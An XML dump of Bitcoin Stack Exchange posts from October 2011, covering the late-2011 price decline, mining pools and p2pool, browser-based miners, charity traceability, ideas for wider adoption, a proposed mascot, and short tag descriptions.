  <row Id="1660" PostTypeId="2" ParentId="1659" CreationDate="2011-10-19T23:42:45.167" Score="5" Body="&lt;p&gt;The answer to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/224/what-factors-affect-the-value-of-a-bitcoin&quot;&gt;this other question&lt;/a&gt; summarises the factors that affect the price of bitcoins in a general sense. However, your question covers a specific period. According to &lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#rg180zvztgSzm1g10zm2g25&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Charts&lt;/a&gt; the price peaked at around US$30 around Jun 8th 2011, and was around the $17 mark in mid-July. It's certainly a substantial drop to now (Oct 20th) be under the $2.50 mark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Speculators appear to be the primary driver for the peak at US$30.&lt;/strong&gt; The purposes that bitcoins were created for are mainly for trade, but the growth in trade has been modest and couldn't explain the big spike in price prior to the peak. &lt;strong&gt;You could say that the underlying value of bitcoins as a currency (based on the number of people/retailers using it for trade) was exceeded and is resettling.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though bitcoins are also intended to be useful as a store of value (which is why there will only ever be a limited number in circulation), most people probably don't have enough faith yet to &lt;a href=&quot;http://falkvinge.net/2011/05/29/why-im-putting-all-my-savings-into-bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;put their life savings into Bitcoins&lt;/a&gt;, so I don't think that is affecting the price substantially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The constant supply of 50 bitcoins per block to miners may help explain the steady decline since the peak, as many miners probably sell off their bitcoins regularly to pay for the investment in hardware. &lt;strong&gt;There have also been a couple of very large sell-offs of bitcoins on MtGox (&lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#rg60zvztgSzm1g10zm2g25&quot; rel=&quot;nofollow noreferrer&quot;&gt;9th Sep, 17th Oct in particular&lt;/a&gt;) which could potentially have been holdings of early adopters, or speculators that chose to reduce their investment.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the price drops different factors come into play - less efficient mining hardware gets switched off, and perhaps increases the proportion of active miners who have faith in the future of bitcoins (and will hold on to them). &lt;strong&gt;If the price starts to trend upwards again, you might see speculation driving another high peak - this is normal for speculative markets and is likely to keep happening.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1265/does-speculation-hurt-bitcoin&quot;&gt;This question&lt;/a&gt; has some great comments on speculation.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2011-10-20T00:45:26.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1661" PostTypeId="2" ParentId="1659" CreationDate="2011-10-20T01:01:38.547" Score="13" Body="&lt;p&gt;One thing a lot of people fail to notice is the decreasing volume at the exchanges. If we look at the USD volume - and not at the bitcoin volume, which is misleading because bitcoins are now worth much less - we can see a spike in June and a decrease afterwards:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m22sN.png&quot; alt=&quot;Price Chart&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The news reports in June attracted lots of people who were curious about bitcoin. A part of these people left and the market size is now coming back to April/May levels. As a consequence, there is much less money being traded. However, we still have 5 new coins being produced every minute and lots of miners who want their invested money back.&lt;br&gt;&#xA;The current price is a natural consequence of high supply and low demand.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-10-20T01:01:38.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1662" PostTypeId="2" ParentId="1659" CreationDate="2011-10-20T04:27:16.880" Score="11" Body="&lt;p&gt;&lt;strong&gt;People are not holding their bitcoins as long.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've speculated &lt;a href=&quot;https://bitcointalk.org/index.php?topic=48930.0&quot; rel=&quot;nofollow&quot;&gt;elsewhere&lt;/a&gt; that this might have something to do with the hedging mechanism implemented by &lt;a href=&quot;http://en.wikipedia.org/wiki/Silk_Road_%28marketplace%29&quot; rel=&quot;nofollow&quot;&gt;Silk Road&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We all want people to use bitcoins for transactions; unfortunately they only have value in proportion to the &lt;em&gt;length of time&lt;/em&gt; for which people hold them.  If everybody bought bitcoins (using fiat) the instant before they needed to use them to buy something with BTC and sold bitcoins (for fiat) the instant after they had sold something via BTC the demand for BTC at any given instant in time would be both (a) incredibly small and (b) very unstable, causing the price to crash and then fluctuate wildly (in percentage terms).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one explanation, money has three roles: (1) store of value, (2) unit of account, and (3) mechanism for transmitting value.  &lt;strong&gt;People talk a lot about promoting the &quot;bitcoin economy&quot; (#3) but unfortunately without enough people using it as a store of value (#1) the price will crash and then fluctuate wildly, causing it to no longer be viable as a mechanism for transmitting value (#3).&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="405" LastEditorUserId="196" LastEditDate="2013-07-14T13:27:01.020" LastActivityDate="2013-07-14T13:27:01.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1663" PostTypeId="1" AcceptedAnswerId="1667" CreationDate="2011-10-20T10:06:10.317" Score="6" ViewCount="166" Body="&lt;p&gt;One common problem when organisations, such as charities or governments, donate money to good causes is that it becomes very hard to track where the money went. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, there are accusations of money unintentionally being used to purchase weapons instead of providing food. Naturally, the organisations handing out the money do their best to keep track of it, mainly relying on accounting and reporting procedures, but these chains become complex and there are many ways to obfuscate the money trail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way, even if it is not yet implemented, that Bitcoin would be able to provide a better solution than existing in this scenario?&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2011-10-20T16:43:43.203" Title="Can Bitcoin help charitable organisations ensure payments go to the right people?" Tags="|traceability|charity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1664" PostTypeId="2" ParentId="1520" CreationDate="2011-10-20T10:43:25.777" Score="3" Body="&lt;p&gt;Would &lt;a href=&quot;http://webcl.nokiaresearch.com/jsoclbm/&quot; rel=&quot;nofollow&quot;&gt;http://webcl.nokiaresearch.com/jsoclbm/&lt;/a&gt; meet your needs?&lt;/p&gt;&#xA;" OwnerUserId="594" LastActivityDate="2011-10-20T10:43:25.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1665" PostTypeId="2" ParentId="1663" CreationDate="2011-10-20T10:44:40.563" Score="1" Body="&lt;p&gt;Yes and no, let me elaborate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No 1) If you get a Bitcoin address from someone, you can assume it belongs to them. On the other hand, someone could pretend to be that person, and you have no way to double check using Bitcoin-only means. A wire transfer address could potentially be checked and traced to who owns it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No 2) When you send coins to someone through Bitcoins, you can't track much, asides whether they spent the coins or not using a Block Explorer. Sending money through banks leaves a more defined trail, as the accounts are assigned to someone. Someone might try laundering money, but generally you could potentially check what they did with the money (to some extent, assuming the bank cooperates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes 1) If you send someone Bitcoins, they still remain anonymous, and nobody without getting to your wallet can know how much coins you have. If you send coins to the people in need, or charities you can trust, you can be almost sure that nobody will steal coins from them (for example, if a corrupt government knows how much you have in your bank account, they can put some pressure on you to get your money).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes 2) If you send Bitcoins to people or organizations that are working against the corrupt government (for example, women's right movement activist in a women-oppressing country), the government has no means of cutting them away from the coins, or figuring out who supports them. This allows you to finance such people without endangering either you, or the unpopular person or organization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, Bitcoins allow you to send coins to anyone and nobody can stop either you or them from participating in the transaction. On the other hand, it requires more trust and allows for even smaller ability to trace the money once it is sent.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-20T10:44:40.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1666" PostTypeId="2" ParentId="1520" CreationDate="2011-10-20T10:55:38.810" Score="5" Body="&lt;p&gt;So let me summarize all the other answers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kradminer.com&quot; rel=&quot;nofollow&quot;&gt;Krad Miner&lt;/a&gt; used to be the first WebCL miner, but due to DDOS attacks it was not working for awhile. Later it was bought and open sourced as &lt;a href=&quot;https://github.com/temujin9/tumen_miner&quot; rel=&quot;nofollow&quot;&gt;Tumen Miner&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitminter.com/&quot; rel=&quot;nofollow&quot;&gt;BitMinter&lt;/a&gt; allows you to mine on their pool with OpenCL miner through Java Webstart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coined.com&quot; rel=&quot;nofollow&quot;&gt;www.coined.com&lt;/a&gt; has undefined status, WOT reports it as an abusive site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://webcl.nokiaresearch.com/jsoclbm/&quot; rel=&quot;nofollow&quot;&gt;WebCL bitcoin miner&lt;/a&gt; looks like a fully functional WebCL miner&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinplus.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Plus&lt;/a&gt; allows one to mine through a Java Applet, but it is a (highly inefficient) CPU miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there are a couple other less notable web CPU miners.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-07-06T16:54:18.903" LastActivityDate="2012-07-06T16:54:18.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1667" PostTypeId="2" ParentId="1663" CreationDate="2011-10-20T12:28:43.687" Score="5" Body="&lt;p&gt;By itself Bitcoin doesn't provide a complete solution however it could be used in conjunction with a trusted non-governmental entity to track charitable flows.  The issue is that while Bitcoin provides public and irrefutable evidence of monetary transfers it doesn't (and shouldn't) provide information on who owns those accounts.  It would require some mechanism of registering ownership of accounts similar to how an SSL cert is used to not just encrypt traffic but to also validate ownership of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a system of cert authorities and public key encryption one could create &quot;public and verified&quot; addresses.  This has potential uses beyond just Charities.  The Bitcoin network itself should always remain psuedo anonymous.  It was designed to have properties of digital cash and trying to force verified identities into the network would be a mistake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better solution would be building a framrwork that allows entities to volentarily have their identitiy validated.  They could then be issued a digital cert which would enable them to sign an address making it public &amp;amp; verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many businesses would benefit by linking an anonymous Bitcoin address to their real world identity to improve the trust and confidence of customers and suppliers. Remember Bitcoin is irrevocable so this present unique challenges if it were ever to become mainstream.  If a major store (Amazon for example) decided to accept bitcoin and was hacked, the attacker could replace Amazon payment address(es) with their own. Unsuspecting customers would be paying the wrong entity and would have method of reversing those fraudulent transactions. The larger the sales volume the more tempting the target.  In the Amazon example even if the attack was detected within minutes a sizeable amount of funds could be diverted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To protect against this thread an entity could use a &quot;public &amp;amp; verified&quot; payment address.  Wallets &amp;amp; browsers could implement changes to warn users that an address in unverified, similar to how browsers use SSL today to provide warnings or assurances to users.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-20T16:43:43.203" LastActivityDate="2011-10-20T16:43:43.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1668" PostTypeId="2" ParentId="312" CreationDate="2011-10-20T13:55:19.580" Score="14" Body="&lt;p&gt;Large pools with a significant fraction of total hashing power do represent an increased risk to the security of the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pools by themselves are not necessarily a risk as a peer to peer network doesn't necessarily need to consist of invidiual users.  A network of pools being the peers is also viable however the pools must be peers and there must be a sufficient number to make collusion between peers infeasible.  &lt;strong&gt;When one pool is 50x the size of average pool it has no peer.&lt;/strong&gt; One could encourage miners to support smaller and medium sized pools thus restoring the &quot;peer&quot; nature of the network however that is likely a futile effort.  The problem is that large pools have an inherent advantage over smaller pools in the form of less reward variance which is a desirable attribute for miners.  Due to this advantage there will always be a tendency for hashing power to aggregate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Realisticly we should accept that large even massive pools are an inevitability due to the high variance nature of Bitcoin hashing.&lt;/strong&gt; However the risk of large pools stems from the fact that miners are &quot;dumb&quot;. By miners I am referring to the software not the person.  Currently the pool server tells the miner what to hash and the miner blindly hashes it.  If the pool is compromised or malicious it can tell the miner to hash &quot;bad data&quot; such as a forked blockchain, or double spend transaction.  The current implementation of mining pools makes it impossible for a miner to ensure they are doing &quot;good work&quot; until after the fact.  This is an important element because large pools aren't inherently a risk.  What makes them a risk is the control they have over a large amount of hashing power.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any reasonable mitigation must address that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Large pools are inevitable.  Miners will seek out pools which minimize variance.&lt;/li&gt;&#xA;&lt;li&gt;The pool server is the weak link in an otherwise robust network due to denial of service, corruption, or compromise.&lt;/li&gt;&#xA;&lt;li&gt;The miner must be smart.  It must decide for itself what to include in the block to ensure only &quot;good work&quot; is done.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;p2pool (peer-to-peer pool) is one solution to this issue without the unrealistic goal of simply having no pools or only &quot;small&quot; pools. p2pool could someday have &gt;51% of the network hashing power and it wouldn't represent a risk to the network.  This is because each miner in the pool is working independently which makes subversion of the pool ineffective for the purposes of attacking the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How p2pool creates a network of &quot;smart&quot; miners.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;p2pool creates a &quot;share chain&quot; where each miner submits shares to a parallel p2p network that records all the shares completed by the pool. Each miner independently includes transactions, sets up block headers, forwards other miner's transmissions for shares it hashes.  When a block is found the reward is split fairly because in generating each block header the miner looks at last x shares in the &quot;share chain&quot; and setups the coinbase transaction to split reward based on work over the last x shares.  IIRC x is currently set to roughly 1 day of work. So everytime a block is found each miner in the pool is rewarded equal to the % of shares accepted by the pool in the prior 24 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/forrestv/p2pool&quot;&gt;https://github.com/forrestv/p2pool&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=18313&quot;&gt;https://bitcointalk.org/index.php?topic=18313&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot;&gt;https://en.bitcoin.it/wiki/P2Pool&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-21T13:31:06.673" LastActivityDate="2011-10-21T13:31:06.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1669" PostTypeId="2" ParentId="1659" CreationDate="2011-10-20T17:35:52.380" Score="-2" Body="&lt;p&gt;The BitCoin is made up currency and thus there is no trust in it.  The value will bop up and down based on whims and popularity.&lt;/p&gt;&#xA;" OwnerUserId="596" LastActivityDate="2011-10-20T17:35:52.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1670" PostTypeId="2" ParentId="461" CreationDate="2011-10-20T18:59:35.240" Score="0" Body="&lt;p&gt;The problem isn't &lt;em&gt;with&lt;/em&gt; giving every miner a share proportional to his work - this is the ideal, and the problem is &lt;em&gt;how to&lt;/em&gt; give every miner a share proportional to his work. By itself this isn't an unambiguous specification of how rewards are given. Two reasonable interpretations are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Split each block's reward according to the number of shares submitted since the last block. This is the proportional system which suffers from the pool-hopping problem.&lt;/li&gt;&#xA;&lt;li&gt;Give each miner a reward directly proportional to the number of shares submitted, regardless of blocks found. This is the PPS system, which puts the operator in a lot of risk so it only makes sense if he charges a high fee. In the future, though, the infrastructure will exist to reduce the operator's risk and thus allowing PPS with a modest fee.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The different reward systems try to offer the ideal of fair payments while minimizing variance, maturity time, vulnerability and so on. &lt;a href=&quot;https://bitcoil.co.il/pool_summary.pdf&quot; rel=&quot;nofollow&quot;&gt;Summary of mining pool reward systems&lt;/a&gt; and &lt;a href=&quot;https://bitcoil.co.il/pool_analysis.pdf&quot; rel=&quot;nofollow&quot;&gt;Analysis of Bitcoin pooled mining reward systems&lt;/a&gt; analyze the different methods and the background for their necessity.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-10-20T18:59:35.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1672" PostTypeId="1" CreationDate="2011-10-20T20:30:10.430" Score="5" ViewCount="222" Body="&lt;p&gt;More trade... more trust... more btc 'banks'...? It is such a great system. It just needs to go main stream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="600" LastActivityDate="2011-10-24T22:09:16.887" Title="What are some of the things that would make bitcoin better and more accepted?" Tags="|user-base|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1673" PostTypeId="2" ParentId="1672" CreationDate="2011-10-20T20:48:17.370" Score="7" Body="&lt;p&gt;Adoption is limited because of a chicken and egg program. People don't accept bitcoins because nobody else accepts bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, the way you solve a chicken and egg problem is to get the cycle going by finding a niche in which the technology works so much better than other available solutions that adoption is possible even without a critical mass -- that is, by finding a killer app. The problem with bitcoin getting started through these kinds of mechanisms is the lack of stability in the price of bitcoin relative to national currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a while, speculation and investment were the killer apps that were driving bitcoin. The problem is that if this is the driving force behind a commodity, there will inevitably be bubbles and crashes. These drive down the use of bitcoin as a medium of exchange. The adoption cycle only works if the killer app drives widespread adoption, it fails if the killer app works against it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that's where we're stuck. But there are a lot of really smart people working on the problem. They're working on getting ATM machines to sell bitcoins, adding the ability to accept bitcoins into widespread point-of-sale systems, solving the problem of having to wait for confirmations, and so on.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-20T20:48:17.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1674" PostTypeId="2" ParentId="1672" CreationDate="2011-10-21T02:41:34.433" Score="4" Body="&lt;p&gt;Ideally Bitcoin needs a functioning economy, ie. merchants to spend coins with, and a demand to hold BTC in order to buy those merchant products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the &quot;killer-app&quot; so far has been investing, I think we need more financial ingenuity with BTC financial products. I'd buy a Bitcoin Bond or CD, or pay to receive an MtGox dividend. One idea might be to start a Bitcoin fund which invests in (real) high dividend companies. Some inital BTC would be sold to buy the high dividend stocks (eg. on margin), but the dividends would be repaid to the investors in BTC. After a while, net BTC holdings should go up. Probably a minefield of legal issues with this though Any lawyers want to comment?&lt;/p&gt;&#xA;" OwnerUserId="186" LastActivityDate="2011-10-21T02:41:34.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1675" PostTypeId="2" ParentId="367" CreationDate="2011-10-21T06:16:21.133" Score="29" Body="&lt;p&gt;Brian Warner is a security expert and he has studied the source code. His presentation about Bitcoin is by far the best deep technical explanation I've seen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vimeo.com/27177893&quot;&gt;http://vimeo.com/27177893&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a brief mention about the security of the source code, embedded in two hours of brilliant explication of the security of the overall system design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the cryptography mailing list hosted by Jack Lloyd is a discussion forum for a wide range of cryptography and security experts. Bitcoin has been discussed several times. The discussions that I have looked at on that list tend to be more about the protocol, the economics, and so forth than about the actual source code. Here is a google search that returns letters from that mailing list that have the string &quot;Bitcoin&quot; in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://encrypted.google.com/search?hl=en&amp;amp;q=site%3Alists.randombit.net%20bitcoin&quot;&gt;https://encrypted.google.com/search?hl=en&amp;amp;q=site%3Alists.randombit.net%20bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="149" LastEditorUserId="22" LastEditDate="2011-10-31T21:21:53.223" LastActivityDate="2011-10-31T21:21:53.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1676" PostTypeId="2" ParentId="1672" CreationDate="2011-10-21T06:50:35.120" Score="1" Body="&lt;p&gt;In order for people to accept Bitcoins, some of them have to understand some basics on how it works. Currently there is &lt;a href=&quot;http://www.weusecoins.com/&quot; rel=&quot;nofollow&quot;&gt;one appealing video for Bitcoins&lt;/a&gt; that doesn't go into much details of underlying principles, and a number of precise sources on the nitty-gritty details, but not much in the middle. It should describe the protocol, its advantages and so forth, without focusing too much on &quot;make your own money for free&quot;. There are enough miners already for this stage, but we still need more people doing other things with Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This brings me to the next point - in order to make Bitcoins more appealing, we need more things to do with them. One could probably start with some digital goods, like MP3s or other files like that, which have little cost to &quot;make&quot; per unit, so one could largely ignore Bitcoin price fluctuations. The items sold need not be mainstream, there are probably a lot of indie people that make music, games, art, etc. that could be interested in getting some exposure by trading off some profit margin. After all, if you can make money by &lt;a href=&quot;http://www.jamendo.com/en/&quot; rel=&quot;nofollow&quot;&gt;giving your music out for free&lt;/a&gt;, one could probably do similarly with Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third way to make Bitcoins more accepted is some PR. Support some charities, get good publicity, etc. For now a lot of people that hear of crypto-currencies associate them with hackers and what-nots. This works negatively for Bitcoin image when concerning non-tech-savvy people. If they started associating them with, for example, Child's Play, less people would be rallying against them, and more would want to know something about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last notable way to promote Bitcoins is by discovering some niches that are stagnant under the current system, but could use improvement by using coins. Here you have to be conservative and creative. For example, are there any people that trade internationally often, require some non-reversable transactions, or want to remain anonymous with their donations? One could try financing some human-rights activists in some oppressive countries, support organizations like WikiLeaks, or try making solutions for such people.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-21T06:50:35.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1677" PostTypeId="1" AcceptedAnswerId="1678" CreationDate="2011-10-21T09:05:09.333" Score="-1" ViewCount="230" Body="&lt;p&gt;Many questions on this forum center on the idea of getting Bitcoin to go mainstream. One mechanism that the Linux team employed for their distros was the idea of a mascot - the Linux penguin, Tux (see &lt;a href=&quot;http://en.wikipedia.org/wiki/Tux&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Tux&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So should Bitcoin have an equivalent? And if you think so, what would you suggest and why? &lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2011-10-21T09:28:57.217" Title="Should there be a Bitcoin equivalent of Tux?" Tags="|marketing|" AnswerCount="3" CommentCount="4" ClosedDate="2011-10-21T14:47:33.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="1678" PostTypeId="2" ParentId="1677" CreationDate="2011-10-21T09:25:50.577" Score="4" Body="&lt;p&gt;Allie the Apaca !&#xA;&lt;a href=&quot;http://www.livanti-alpacas.com/images/photos/alpaca_horizon.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.livanti-alpacas.com/images/photos/alpaca_horizon.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of the early bitcoin coverage mentioned the fact that you buy alpaca socks so I think the alpaca should be the bitcoin mascot. Obvious names are Al and Allie. I think Allie is cuter. &lt;/p&gt;&#xA;" OwnerUserId="204" LastActivityDate="2011-10-21T09:25:50.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1679" PostTypeId="2" ParentId="1677" CreationDate="2011-10-21T09:26:47.397" Score="0" Body="&lt;p&gt;As the first thing that one can associate with the word &quot;Bitcoin&quot; is a coin, one should probably go in that direction. Since coins are not very animate in themselves and anthropomorphizing them would probably look silly, probably something that has a strong correlation with a coin is the way to go. One can think of materials - gold and silver, specific faces from the coins (which is too local to consider), and people dealing with coins and money - bankers, tax-collectors, those figures don't really have any good connotations in general. There is one more group of people that are associated with coins - pirates, which whereas can have negative connotations (digital piracy), are also considered positive in some manners (Pirates of the Caribbean, etc.). So I think we should be considering some pirate with a chest full of Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, there are also other more fantasy creatures people associate with coins or precious metals - leprechauns, dwarves, and the like. Whereas those don't have much negative connotations, their positive connotations aren't very prevalent either, so I would stick with pirates.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-21T09:26:47.397" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1680" PostTypeId="2" ParentId="1677" CreationDate="2011-10-21T09:28:57.217" Score="0" Body="&lt;p&gt;Sure ! bitcoin need a mascot !&lt;/p&gt;&#xA;&lt;p&gt;+1 for the alpaca, good idea&lt;/p&gt;&#xA;&lt;p&gt;a spider could also be a good idea, typically some kind of collaborative spiders ( most spiders work alone but there are also some small ones who work together to build gigantic webs )&lt;/p&gt;&#xA;" OwnerUserId="558" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2011-10-21T09:28:57.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1682" PostTypeId="5" CreationDate="2011-10-21T21:19:01.020" Score="0" Body="&lt;p&gt;Regarding the statistical analysis of data.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:08.607" LastActivityDate="2011-10-21T21:54:08.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1683" PostTypeId="4" CreationDate="2011-10-21T21:19:01.020" Score="0" Body="Regarding the statistical analysis of data." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:10.727" LastActivityDate="2011-10-21T21:54:10.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1684" PostTypeId="5" CreationDate="2011-10-21T21:19:32.360" Score="0" Body="&lt;p&gt;Regarding the community of Bitcoin users.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:15.300" LastActivityDate="2011-10-21T21:54:15.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1685" PostTypeId="4" CreationDate="2011-10-21T21:19:32.360" Score="0" Body="" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2011-10-21T21:19:32.360" LastActivityDate="2011-10-21T21:19:32.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1686" PostTypeId="5" CreationDate="2011-10-21T21:20:19.287" Score="0" Body="&lt;p&gt;Questions related to problems encountered while running the Bitcoin-related software.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:33.100" LastActivityDate="2011-10-21T21:54:33.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1687" PostTypeId="4" CreationDate="2011-10-21T21:20:19.287" Score="0" Body="Questions related to problems encountered while running the Bitcoin-related software." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:34.940" LastActivityDate="2011-10-21T21:54:34.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1688" PostTypeId="5" CreationDate="2011-10-21T21:21:14.917" Score="0" Body="&lt;p&gt;Related to graphical interpretation of data.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:37.950" LastActivityDate="2011-10-21T21:54:37.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1689" PostTypeId="4" CreationDate="2011-10-21T21:21:14.917" Score="0" Body="Related to graphical interpretation of data." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:39.340" LastActivityDate="2011-10-21T21:54:39.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1690" PostTypeId="5" CreationDate="2011-10-21T21:22:27.550" Score="0" Body="&lt;p&gt;Concerning websites that support the Bitcoin network or community.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:41.663" LastActivityDate="2011-10-21T21:54:41.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1691" PostTypeId="4" CreationDate="2011-10-21T21:22:27.550" Score="0" Body="Concerning websites that support the Bitcoin network or community." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:43.067" LastActivityDate="2011-10-21T21:54:43.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
